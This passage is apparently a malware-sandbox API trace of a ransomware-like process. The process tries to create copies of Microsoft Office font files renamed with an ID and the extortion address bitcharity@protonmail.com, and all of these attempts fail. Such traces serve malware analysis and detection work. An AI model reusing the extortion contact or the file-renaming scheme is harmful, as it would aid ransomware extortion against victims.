lpNewFilePointer=0x0) returned 1 [0281.070] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0281.070] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\CALIFR.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\califr.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.070] CloseHandle (hObject=0x1188) returned 1 [0281.071] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0281.072] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0281.072] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\CALIST.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\calist.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.072] CloseHandle (hObject=0x1188) returned 1 [0281.073] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0281.073] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0281.073] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\CALISTB.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\calistb.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.073] CloseHandle (hObject=0x1188) returned 1 [0281.074] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0281.075] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0281.075] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\CALISTBI.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\calistbi.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.075] CloseHandle (hObject=0x1188) returned 1 [0281.076] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0281.076] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0281.076] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\CALISTI.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\calisti.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.076] CloseHandle (hObject=0x1188) returned 1 [0281.081] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0281.081] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0281.081] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\CASTELAR.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\castelar.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.082] CloseHandle (hObject=0x1188) returned 1 [0281.082] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0281.083] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0281.083] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\CENSCBK.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\censcbk.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.083] CloseHandle (hObject=0x1188) returned 1 [0281.084] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0281.084] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0281.084] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\CENTAUR.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\centaur.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.084] CloseHandle (hObject=0x1188) returned 1 [0281.085] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0281.085] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0281.085] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\CENTURY.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\century.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.086] CloseHandle (hObject=0x1188) returned 1 [0281.087] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0281.087] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0281.087] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\CHILLER.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\chiller.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.087] CloseHandle (hObject=0x1188) returned 1 [0281.089] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0281.089] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0281.089] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\COLONNA.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\colonna.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.089] CloseHandle (hObject=0x1188) returned 1 [0281.090] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0281.091] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0281.091] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\COOPBL.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\coopbl.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.091] CloseHandle (hObject=0x1188) returned 1 [0281.092] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0281.093] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0281.093] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\COPRGTB.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\coprgtb.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.093] CloseHandle (hObject=0x1188) returned 1 [0281.094] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0281.094] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0281.094] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\COPRGTL.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\coprgtl.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.095] CloseHandle (hObject=0x1188) returned 1 [0281.096] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0281.096] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0281.096] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\CURLZ___.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\curlz___.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.096] CloseHandle (hObject=0x1188) returned 1 [0281.097] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0281.097] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0281.097] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\ELEPHNT.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\elephnt.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.097] CloseHandle (hObject=0x1188) returned 1 [0281.098] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0281.099] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0281.099] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\ELEPHNTI.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\elephnti.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.099] CloseHandle (hObject=0x1188) returned 1 [0281.100] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0281.100] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0281.100] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\ENGR.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\engr.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.100] CloseHandle (hObject=0x1188) returned 1 [0281.101] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0281.101] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0281.101] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\ERASBD.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\erasbd.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.101] CloseHandle (hObject=0x1188) returned 1 [0281.102] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0281.102] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0281.102] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\ERASDEMI.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\erasdemi.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.102] CloseHandle (hObject=0x1188) returned 1 [0281.103] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0281.103] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0281.103] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\ERASLGHT.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\eraslght.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.103] CloseHandle (hObject=0x1188) returned 1 [0281.104] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0281.105] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0281.105] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\ERASMD.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\erasmd.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.105] CloseHandle (hObject=0x1188) returned 1 [0282.366] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0282.366] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0282.366] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\FELIXTI.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\felixti.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.366] CloseHandle (hObject=0x126c) returned 1 [0282.368] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0282.368] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0282.368] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\NIAGENG.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\niageng.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.368] CloseHandle (hObject=0x126c) returned 1 [0282.369] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0282.369] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0282.369] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\NIAGSOL.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\niagsol.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.370] CloseHandle (hObject=0x126c) returned 1 [0282.371] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0282.371] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0282.371] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\NIRMALA.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\nirmala.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.371] CloseHandle (hObject=0x126c) returned 1 [0282.373] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0282.373] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0282.373] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\NIRMALAB.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\nirmalab.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.373] CloseHandle (hObject=0x126c) returned 1 [0282.374] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0282.374] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0282.374] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\OCRAEXT.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\ocraext.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.374] CloseHandle (hObject=0x126c) returned 1 [0282.375] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0282.375] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0282.375] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\OLDENGL.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\oldengl.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.375] CloseHandle (hObject=0x126c) returned 1 [0282.377] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0282.377] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0282.377] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\ONYX.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\onyx.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.377] CloseHandle (hObject=0x126c) returned 1 [0282.378] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0282.378] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0282.378] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\OUTLOOK.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\outlook.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.378] CloseHandle (hObject=0x126c) returned 1 [0282.379] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0282.379] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0282.379] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\PALSCRI.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\palscri.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.379] CloseHandle (hObject=0x126c) returned 1 [0282.382] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0282.383] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0282.383] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 